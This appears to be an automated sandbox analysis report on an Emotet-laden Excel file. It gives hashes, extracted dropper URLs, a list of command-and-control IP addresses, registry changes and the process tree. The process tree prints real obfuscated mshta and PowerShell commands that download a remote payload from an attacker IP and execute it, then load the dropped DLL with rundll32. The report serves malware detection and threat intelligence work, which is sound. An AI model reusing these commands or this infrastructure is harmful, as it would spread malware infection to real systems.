emotet | e6bb11b13821b7ea0b993c919bc0981f30b1dcd5dfa1780f46ec52fd351f2655

Analysis

max time kernel
122s
max time network
143s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 01:07

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General

Target

UNM250124770WQ.xls
Size

46KB
MD5

9ac0fa065828c187a22b526eea1ad83b
SHA1

242681b858b50c76f8aeab1e75ff46d19f67c7c9
SHA256

e6bb11b13821b7ea0b993c919bc0981f30b1dcd5dfa1780f46ec52fd351f2655
SHA512

fdb67c0a67411eea4d4302bbd5567159d1ea5a2668202746a6891fe6639778779a7bcd2b9329a821b05cc3f909c695f5ff98f1f4cbc581a075ed45ef3b2fa761

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	288	304	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 828 mshta.exe
5 916 powershell.exe
7 916 powershell.exe
9 1104 rundll32.exe
11 1104 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1620 rundll32.exe
1620 rundll32.exe
1620 rundll32.exe
1620 rundll32.exe
1668 rundll32.exe
1668 rundll32.exe
1668 rundll32.exe
1668 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Oqweoeokekvlyquq\rrcpkspskegx.cwv rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	828	mshta.exe
5	916	powershell.exe
7	916	powershell.exe
9	1104	rundll32.exe
11	1104	rundll32.exe

pid	process
1620	rundll32.exe
1620	rundll32.exe
1620	rundll32.exe
1620	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe
1668	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Oqweoeokekvlyquq\rrcpkspskegx.cwv	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

304 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

916 powershell.exe
1104 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 916 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

304 EXCEL.EXE
304 EXCEL.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

EXCEL.EXE

pid process

304 EXCEL.EXE
304 EXCEL.EXE
304 EXCEL.EXE
304 EXCEL.EXE
304 EXCEL.EXE
304 EXCEL.EXE
304 EXCEL.EXE

pid	process
304	EXCEL.EXE

pid	process
916	powershell.exe
1104	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	916	powershell.exe

pid	process
304	EXCEL.EXE
304	EXCEL.EXE

pid	process
304	EXCEL.EXE
304	EXCEL.EXE
304	EXCEL.EXE
304	EXCEL.EXE
304	EXCEL.EXE
304	EXCEL.EXE
304	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 304 wrote to memory of 288	304	EXCEL.EXE	CMD.EXE
PID 304 wrote to memory of 288	304	EXCEL.EXE	CMD.EXE
PID 304 wrote to memory of 288	304	EXCEL.EXE	CMD.EXE
PID 304 wrote to memory of 288	304	EXCEL.EXE	CMD.EXE
PID 288 wrote to memory of 828	288	CMD.EXE	mshta.exe
PID 288 wrote to memory of 828	288	CMD.EXE	mshta.exe
PID 288 wrote to memory of 828	288	CMD.EXE	mshta.exe
PID 288 wrote to memory of 828	288	CMD.EXE	mshta.exe
PID 828 wrote to memory of 916	828	mshta.exe	powershell.exe
PID 828 wrote to memory of 916	828	mshta.exe	powershell.exe
PID 828 wrote to memory of 916	828	mshta.exe	powershell.exe
PID 828 wrote to memory of 916	828	mshta.exe	powershell.exe
PID 916 wrote to memory of 1612	916	powershell.exe	cmd.exe
PID 916 wrote to memory of 1612	916	powershell.exe	cmd.exe
PID 916 wrote to memory of 1612	916	powershell.exe	cmd.exe
PID 916 wrote to memory of 1612	916	powershell.exe	cmd.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1620	1612	cmd.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1620 wrote to memory of 1668	1620	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1196	1668	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe
PID 1196 wrote to memory of 1104	1196	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\UNM250124770WQ.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:304

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:288

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1620

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Oqweoeokekvlyquq\rrcpkspskegx.cwv",NiChWN
8⤵
- Suspicious use of WriteProcessMemory
PID:1196

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Oqweoeokekvlyquq\rrcpkspskegx.cwv",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1104

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
